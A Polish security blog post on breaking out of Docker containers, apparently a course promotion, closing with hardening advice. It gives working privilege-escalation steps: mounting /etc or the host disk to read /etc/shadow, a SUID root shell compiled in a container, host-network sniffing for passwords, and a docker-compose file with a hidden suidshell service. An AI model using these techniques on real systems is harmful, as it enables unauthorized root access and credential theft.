Docker - ucieczka z Alcatraz
Docker pozwala uruchamiać oprogramowanie w skonteneryzowanym środowisku, co inaczej można nazwać wirtualizacją na poziomie systemu operacyjnego. Klasyczne rozwiązania wirtualizacyjne jak VMware, VirtualBox czy Xen uruchamiają cały nowy system operacyjny na emulowanym sprzęcie, podczas gdy Docker (i inne rozwiązania oparte o kontenery jak rkt czy lxd) uruchamia wskazane programy w obrębie tego samego systemu operacyjnego, kernela. Jedyne o co się troszczy, to o odpowiednia separacja - każdy kontener posiada własną przestrzeń nazw, sieć, c-grupy:
Obrazy Dockera zawierają szczegółowe informacje odnośnie wersji uruchamianego oprogramowania, bibliotek zależnych i całego ekosystemu. Jest więc to idealne rozwiązanie dla programistów, którzy chcą sprawdzić jak ich aplikacja zachowa się z różnymi wersjami bibliotek czy usług.
Przykład? Załóżmy, że chcemy uruchomić skrypt PHP w najnowszej wersji 7, ale również sprawdzić czy uruchomi się dobrze na wersjach 5.6 oraz 5.3. Nic prostszego - wystarczy uruchomić wybrany tag obrazu PHP, podając go po dwukropku. Żeby to zwizualizować, poniżej uruchomienie PHP w ostatniej wersji 7, 5.6 oraz 5.3 (swoją drogą, jeśli chcielibyście, by pojawiło się bezbolesne wprowadzenie do Dockera - dajcie znać).
drg@kilo:~$ docker run php:7-cli php --version
PHP 7.3.1 (cli) (built: Feb 6 2019 04:40:52) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.1, Copyright (c) 1998-2018 Zend Technologies
drg@kilo:~$
drg@kilo:~$ docker run php:5.6-cli php --version
PHP 5.6.40 (cli) (built: Jan 23 2019 00:04:26)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
drg@kilo:~$
drg@kilo:~$ docker run php:7-cli php --version
PHP 7.3.1 (cli) (built: Feb 6 2019 04:40:52) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.1, Copyright (c) 1998-2018 Zend Technologies
drg@kilo:~$
Wykorzystując tę właściwość, życie każdego porządnego programisty, który poważnie podchodzi do swoich projektów, staje się istotnie piękniejsze.
Jeśli chodzi o zastosowanie produkcyjne, Docker to już też dobrze wygrzany temat, między innymi dlatego, że z wykorzystaniem Kubernetes czy Docker Swarm pomaga stworzyć szalenie wygodną i skalowalną infrastrukturę. A do tego wprowadzającą dodatkową warstwę separacji, co może być bardzo dużym bonusem, jeśli chodzi o bezpieczeństwo.
No to w czym problem?
Jak mawiał wujek Ben:
Z wielką mocą przychodzi wielka odpowiedzialność.
Docker niewątpliwie ma wielką moc, pytanie kto otrzymuje odpowiedzialność w postaci możliwości uruchamiania nowych kontenerów. DevOpsy, administratorzy czyli opiekunowie infrastruktury - wiadomo. Czasem dostają tę możliwość również programiści czy testerzy.
Czyli sytuacja może wyglądać następująco: na serwerach (czy to testowych czy produkcyjnych) programiści mają konta systemowe i mogą uruchamiać własne kontenery, technicznie - należą do grupy docker:
programista.stachu@kilo:~$ id
uid=1001(programista.stachu) gid=1001(programista.stachu) groups=1001(programista.stachu),999(docker)
programista.stachu@kilo:~$
Oczywiście nie mają uprawnień administracyjnych, więc jeśli będą chcieli przeczytać pierwszą linijkę pliku /etc/shadow zawierającą hasło roota, nie uda im się to, wiadomo:
programista.stachu@kilo:~$ head -n 1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
programista.stachu@kilo:~$
Ale jeśli programista.stachu ma w sobie duszę hakera, nie będzie to dla niego problemem. Nie będzie to dla niego problemem na wiele sposobów.
Wolumeny
Kontenery Dockera są co do zasady efemeryczne czyli nie zachowują stanu, to oznacza, że jeśli uruchomimy kontener, zrobimy zmiany w pliku /etc/passwd, zrestartujemy kontener - zmiany w tym pliku znikną.
Między innymi dlatego Docker pozwala podmontować lokalne katalogi do kontenera - wtedy kontener ma dostęp do tego katalogu i wszystko co kontener pozmienia, będzie zmienione w podmontowanym katalogu. Robi się to np. poprzez podanie opcji -v ścieżka_lokalna:ścieżka_w_kontenerze.
Zobaczmy - uruchamiamy kontener z obrazu bash, tworzymy w nim plik /tmp/test, wychodzimy z kontenera, uruchamiamy kontener ponownie i co? Utworzonego pliku nie widać:
programista.stachu@kilo:~$ docker run -it bash
bash-5.0# echo 1 > /tmp/test
bash-5.0# exit
programista.stachu@kilo:~$
programista.stachu@kilo:~$ docker run -it bash
bash-5.0# cat /tmp/test
cat: can't open '/tmp/test': No such file or directory
bash-5.0# exit
programista.stachu@kilo:~$
Drugie podejście - montujemy katalog bieżący $(pwd) do /tmp, tworzymy /tmp/test, uruchamiamy ponownie - plik jest.
programista.stachu@kilo:~$ docker run -v $(pwd):/tmp -it bash
bash-5.0# echo 2 > /tmp/test
bash-5.0# exit
programista.stachu@kilo:~$
programista.stachu@kilo:~$ docker run -v $(pwd):/tmp -it bash
bash-5.0# cat /tmp/test
2
bash-5.0# exit
programista.stachu@kilo:~$
Jako bonus, w lokalnym systemie plików, w katalogu bieżącym, również widnieje utworzony plik test który stworzyliśmy wewnątrz kontenera:
programista.stachu@kilo:~$ cat test
2
programista.stachu@kilo:~$
Dzięki temu mechanizmowi możemy uruchamiać usługi, które zapisują swój stan (np. bazy danych) i mamy pewność, że po restarcie kontenera dane nie wyparują.
Co jest jeszcze istotne? Domyślnie kontenery uruchamiają się z uprawnieniami roota, jednak nie mamy dostępu ani do prawdziwego pliku z hasłami (/etc/shadow), ani do innych procesów itd - zgodnie z założeniami:
programista.stachu@kilo:~$ docker run -it bash
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-5.0# head -n 1 /etc/shadow
root:::0:::::
bash-5.0# ps uax
PID USER TIME COMMAND
1 root 0:00 bash
8 root 0:00 ps uax
bash-5.0# exit
programista.stachu@kilo:~$
Ale nasz Stachu Programista z duszą hakera ma pomysł - sprobuje podmontować katalog /etc do katalogu /etc w kontenerze.
programista.stachu@kilo:~$ docker run -v /etc:/etc -it bash
bash-5.0# head -n 1 /etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
bash-5.0# exit
programista.stachu@kilo:~$
Bingo! Uzyskał nie tylko dostęp do całego pliku /etc/shadow, ale do całego katalogu /etc serwera. I to nie tylko do odczytu, ale i też do zapisu. Może więc próbować łamać hasło roota, ale równie dobrze może je zmienić, może też zmienić swój UID na 0, stając się rootem, może dodać nowego użytkownika, dodać się do innych grup itd. Analogicznie jak z katalogiem /etc, może podmontować inne katalogi, do których normalnie nie ma dostępu, np. do katalogów aplikacji gdzie znajdzie hasła do innych usług, katalog bazy danych itp.
Czy wolumeny to jedyna możliwość? O nie!
Tryb uprzywilejowany
Podczas uruchamiania kontenera możemy użyć opcji –privileged, która uruchomi kontener w trybie uprzywilejowanym. Za dokumentacją:
The –privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-cases, like running Docker within Docker.
Brzmi nieźle. Porównajmy co się dzieje w katalogu /dev kiedy uruchomimy kontener w trybie uprzywilejowanym i nieuprzywilejowanym.
Tryb nieuprzywilejowany:
ista.stachu@kilo:~$ docker run -it bash
bash-5.0# ls /dev
console core fd full mqueue null ptmx pts random shm stderr stdin stdout tty urandom zero
bash-5.0# exit
programista.stachu@kilo:~$
Tryb uprzywilejowany:
programista.stachu@kilo:~$ docker run --privileged -it bash
bash-5.0# ls /dev
agpgart mapper sda2 tty15 ttyS0
autofs mem sda5 tty16 ttyS1
bsg memory_bandwidth sg0 tty17 ttyS2
btrfs-control midi sg1 tty18 ttyS3
console mqueue shm tty19 uhid
core net snapshot tty2 uinput
cpu_dma_latency network_latency snd tty20 urandom
cuse network_throughput sr0 tty21 vcs
dmmidi null stderr tty22 vcs1
dri parport0 stdin tty23 vcs2
fb0 port stdout tty24 vcs3
fd ppp tty tty25 vcs4
fd0 psaux tty0 tty26 vcs5
full ptmx tty1 tty27 vcs6
fuse pts tty10 tty28 vcsa
hpet random tty11 tty29 vcsa1
input rtc0 tty12 tty3 vcsa2
kmsg sda tty13 tty30 vcsa3
loop-control sda1 tty14 tty31 vcsa4
bash-5.0#
programista.stachu@kilo:~$
Rzuca się coś fajnego Wam w oczy? Coś co mogłoby się przydać w dostępie do pliku z hasłami? Urządzenie /dev/sda będące dyskiem twardym oraz /dev/sda1, /dev/sda2, /dev/sda5 będące partycjami. A co się robi z takimi urządzeniami? Montuje!
programista.stachu@kilo:~$ docker run --privileged -it bash
bash-5.0# fdisk -l /dev/sda
Disk /dev/sda: 50 GB, 53687091200 bytes, 104857600 sectors
6527 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/sda1 * 0,32,33 1023,254,63 2048 37939199 37937152 18.0G 83 Linux
/dev/sda2 1023,254,63 1023,254,63 37941246 104855551 66914306 31.9G 5 Extended
/dev/sda5 1023,254,63 1023,254,63 37941248 104855551 66914304 31.9G 82 Linux swap
bash-5.0# mount /dev/sda1 /mnt
bash-5.0# head -n 1 /mnt/etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
bash-5.0# exit
programista.stachu@kilo:~$
Znów - Stachu może zrobić analogicznie wszystko co w pierwszym wypadku. A nawet więcej.
Wszystko fajnie, pięknie, ale Stachu Programista nie chce się bawić w łamanie hasła, dodawanie nowych użytkowników czy inne grube zmiany, chce mieć uprawnienia roota szybko, skutecznie i względnie po cichu. Co może zrobić fajnego? Tak, słowo fajne jest tutaj dość dwuznaczne.
Suid tu, suid tam
Pamiętacie jak trochę wyżej w kontenerze utworzyliśmy plik /tmp/test? Ten, który zawierał w sobie 2? Ten, który potem został w katalogu bieżącym Stacha? Nie pokazałem Wam najważniejszego:
programista.stachu@kilo:~$ ls -l test
-rw-r--r-- 1 root root 2 lut 7 20:35 test
programista.stachu@kilo:~$
Jako, że kontenery uruchamiają się domyślnie jako root, właścicielem utworzonego pliku jest root - nie programista.stachu. Co w związku z tym? Myślę, że ci z Was, którzy na co dzień mają do czynienia z systemami Linux/Unix wiedzą co robić.
Utwórzmy program wykonywalny, dajmy mu SUID bit, co będzie oznaczało, że ktokolwiek uruchomi ten program, uruchomi go z uprawnieniami jego właściciela - roota.
programista.stachu@kilo:~$ mkdir tmp
programista.stachu@kilo:~$ docker run -v $(pwd)/tmp:/tmp -it gcc
root@84499785b358:/# cat > suid.c << EOF
> #include <unistd.h>
> void main() {
> setuid(0); seteuid(0); setgid(0); setegid(0);
> execl("/bin/bash", "bash", NULL);
> }
> EOF
root@84499785b358:/# cc -static suid.c -o /tmp/suid
root@84499785b358:/# chmod +s /tmp/suid
root@84499785b358:/# exit
programista.stachu@kilo:~$ id
uid=1001(programista.stachu) gid=1001(programista.stachu) groups=1001(programista.stachu),999(docker)
programista.stachu@kilo:~$ ./tmp/suid
root@kilo:~# id
uid=0(root) gid=0(root) groups=0(root),999(docker),1001(programista.stachu)
root@kilo:~#
root@kilo:~# head -n 1 /etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
root@kilo:~#
Co tu się wydarzyło? Programista uruchomił kontener z kompilatorem GCC, wewnątrz kontenera, już jako root, utworzył prosty program, który najpierw ustawia UID, EUID, GID oraz EGID na 0 (czyli uid, efektywny uid, grupę i efektywną grupę na root:root), skompilował go, a następnie ustawił mu bit SUID. Po wyjściu z kontenera, program znajduje się w podmontowanym katalogu ./tmp, po jego uruchomieniu nasz bohater staje się rootem.
Gotowy do użycia proof-of-contept jako obraz Dockera znajduje się na https://hub.docker.com/r/aptmasterclass/suidshell, możemy więc go w szybki sposób użyć.
Czy istnieją jeszcze inne, potencjalne zagrożenia, kiedy taki ambitny programista otrzyma możliwość uruchamiania kontenerów? Owszem.
Sieć
Docker wspiera sieć na różne sposoby. Żeby nie wchodzić zbytnio w szczegóły, domyślnie kontenery mają własne interfejsy sieciowe, własną odseparowaną od interfejsów sieciowych hosta adresację.
programista.stachu@kilo:~$ docker run -it bash
bash-5.0# ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:446 (446.0 B) TX bytes:0 (0.0 B)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
bash-5.0# exit
programista.stachu@kilo:~$
Jeśli zatem uruchomilibyśmy jakiś sniffer pakietów, np. tcpdump zobaczylibyśmy tylko ruch kierowany do naszego kontenera - nuda. Jeśli rzuciliście okiem na to jakie tryby sieci wspiera Docker, pojawia się bardzo ciekawa opcja, mianowicie host:
host: For standalone containers, remove network isolation between the container and the Docker host, and use the host’s networking directly. host is only available for swarm services on Docker 17.06 and higher. See use the host network.
Oznacz to, że jeśli uruchomimy kontener z siecią w trybie host - ściągnięta jest izolacja między kontenerami i samym hostem czyli kontener ma dostęp do wszystkich interfejsów hosta:
programista.stachu@kilo:~$ docker run --net=host -it bash
bash-5.0# ifconfig
docker0 Link encap:Ethernet HWaddr 02:42:70:FA:DA:75
inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
inet6 addr: fe80::42:70ff:fefa:da75/64 Scope:Link
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:68 errors:0 dropped:0 overruns:0 frame:0
TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5395 (5.2 KiB) TX bytes:15816 (15.4 KiB)
eth0 Link encap:Ethernet HWaddr 02:00:00:2D:BD:1E
inet addr:193.70.XX.XX Bcast:193.70.56.255 Mask:255.255.255.0
inet6 addr: fe80::ff:fe2d:bd1e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2940354 errors:0 dropped:20 overruns:0 frame:0
TX packets:1110205 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3038990990 (2.8 GiB) TX bytes:155169517 (147.9 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:18047995 errors:0 dropped:0 overruns:0 frame:0
TX packets:18047995 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2841768827 (2.6 GiB) TX bytes:2841768827 (2.6 GiB)
bash-5.0# exit
programista.stachu@kilo:~$
Co w związku z tym? Nasz Stachu Programista może uruchomić sniffer pakietów (np. z takiego małego obrazu) i nasłuchiwać na wszelkie wystąpienia fraz takich jak password, authorization, login, user itd. Dzięki temu nie tylko będzie w stanie podsłuchać loginy i hasła, które w nieszyfrowany sposób obsługiwane są przez sieć innych kontenerów, ale również loginy i hasła wchodzące i wychodzące do serwera bezpośrednio (np. ktoś sprawdza pocztę, administrator loguje się do jakiegoś serwera FTP etc):
drg@kilo:~$ docker run --net=host aptmasterclass/tcpdump tcpdump -i any -A -l |grep -i --color "user\|pass\|authorization\|login"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: curl/7.63.0
06:35:57.575178 IP kilo.53372 > ftp.wp.pl.21: Flags [P.], seq 1:14, ack 45, win 229, options [nop,nop,TS val 1425126781 ecr 2612321835], length 13: FTP: USER wpuser
T..}...+USER wpuser
06:35:57.610251 IP ftp.wp.pl.21 > kilo.53372: Flags [P.], seq 45:79, ack 14, win 114, options [nop,nop,TS val 2612325393 ecr 1425126781], length 34: FTP: 331 Password required for wpuser
....T..}331 Password required for wpuser
06:36:02.650408 IP kilo.53372 > ftp.wp.pl.21: Flags [P.], seq 14:39, ack 79, win 229, options [nop,nop,TS val 1425131856 ecr 2612325393], length 25: FTP: PASS Supertajne/Haslo!!
T..P....PASS Supertajne/Haslo!!
06:36:02.685258 IP ftp.wp.pl.21 > kilo.53372: Flags [P.], seq 79:101, ack 39, win 114, options [nop,nop,TS val 2612330468 ecr 1425131856], length 22: FTP: 530 Login incorrect.
....T..P530 Login incorrect.
[...]
Od razu widać, dlaczego nawet w sieciach wewnętrznych wszystkie usługi powinny być szyfrowane (SSL/TLS) jeśli tylko to możliwe. Prawda?
OK, czyli musimy uważać komu dajemy możliwość uruchamiania kontenerów
Tak, oczywiście, to po pierwsze. Jest jeszcze inny aspekt - musimy uważać co sami uruchamiamy.
Jeśli znacie trochę ideę kontenerów, wiecie, że ogólna zasada jest taka, że jedna usługa to jeden kontener. Na przykład jeśli chcemy uruchomić Wordpressa w kontenerze, potrzebujemy tak naprawdę wystartować 2 kontenery:
- kontener z bazą danych,
- kontener z serwerem WWW.
W innych przypadkach tych usług może być jeszcze więcej. By to wszystko uprościć, możemy wykorzystać tzw. Stacks lub Docker Compose. Sprowadza się to do stworzenia pliku YAML
z definicją usług, a następnie wykonanie polecenia docker stack deploy -c stack.yml obraz
lub docker-compose up
). Przykładowy plik z usługami dla Wordpressa:
version: '3.1'
services:
wordpress:
image: wordpress
restart: always
ports:
- 8080:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: exampleuser
WORDPRESS_DB_PASSWORD: examplepass
WORDPRESS_DB_NAME: exampledb
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exampledb
MYSQL_USER: exampleuser
MYSQL_PASSWORD: examplepass
MYSQL_RANDOM_ROOT_PASSWORD: '1'
Wyobraźcie sobie teraz, że trochę ten plik zmodyfikujemy, żeby wyglądał mniej więcej tak:
version: '3.1'
services:
wordpress:
image: wordpress
restart: always
ports:
- 8080:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: exampleuser
WORDPRESS_DB_PASSWORD: examplepass
WORDPRESS_DB_NAME: exampledb
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exampledb
MYSQL_USER: exampleuser
MYSQL_PASSWORD: examplepass
MYSQL_RANDOM_ROOT_PASSWORD: '1'
update:
image: aptmasterclass/suidshell
volumes:
- /tmp:/tmp
Dodaliśmy niewinną usługę update, która montuje /tmp hosta do /tmp kontenera po to, by - jak już dobrze wiecie - zapisać tam suidshella. Po uruchomieniu usług poleceniem docker-compose up
, oczywiście Wordpress się uruchomi, baza danych wystartuje, a jako bonus, w katalogu /tmp hosta pojawi się plik suidshell. Ktokolwiek na serwerze go uruchomi, stanie się rootem.
W plikach dla Stacks czy Docker Compose można również umieszczać definicje sieci (np. network_mode: host
) czy trybu uprzywilejowanego (privileged: true
).
Chociażby z tego względu tak istotne jest przeglądanie plików z definicjami samych obrazów czy zestawów obrazów, bo możemy mieć do czynienia ze złośliwymi obrazami, które robią więcej niż to czego od nich oczekujemy. Zobaczcie np. na jedną z definicji Docker Compose dla Gitlaba:
https://github.com/mgcrea/docker-compose-gitlab-ce/blob/master/docker-compose.yml.
Sporo w nim usług, więc cyberprzestępcy zawsze mogą próbować coś w analogicznych plikach przemycić licząc, że umknie to naszej uwadze.
Red team vs Blue team
- Jeśli uda Wam się uruchamiać nowe kontenery Dockera (w praktyce dostęp do
/var/run/docker.sock
), jest duża szansa, że możecie przejąć hosta opisywanymi wyżej technikami. - Nie musicie celować bezpośrednio w Dockera lecz narzędzie orkiestracji, jeśli jest używane (Kubernetes, Docker Swarm).
- Może się okazać, że łatwiej będzie skompromitować wykorzystywane repozytorium Dockera lub osobę/instytucję, której obrazy wykorzystuje atakowana firma.
- Możecie również spróbować spowodować, by administratorzy/devopsy uruchomili Wasz podstawiony obraz, czy to bezpośrednio czy to przez złośliwy docker-compose.yml
- Kontrolujcie kto ma możliwość uruchamiania kontenerów Dockera.
- Jeśli to możliwe, nie uruchamiajcie usług w Dockerze chodzących z uprawnieniami roota.
- Dokonajcie hardeningu Dockera, Kubernetesa i ekipy, np. z wykorzystaniem dokumentów z CIS Benchmarks i bazujących na nich projektach jak Docker Bench for Security, kube-bench.
- W środowisku produkcyjnym zezwalajcie wyłącznie na używanie oficjalnych obrazów.
- Pomyślcie o wdrożeniu własnego repozytorium artefaktów (np. Nexus) i zezwalajcie na uruchamianie kontenerów tylko z obrazów znajdujących się w nim, które wcześniej dokładnie testujecie, zwłaszcza na produkcji.
- arto zagłębić się w mechanizmy Access authorization plugin oraz --userns-remap.
* * *
Jeśli podobał Ci się ten wpis, jestem przekonany, że spodoba Ci się APT Masterclass. Pomyśl też o podzieleniu się nim na Facebooku, LinkedIn i Twitterze.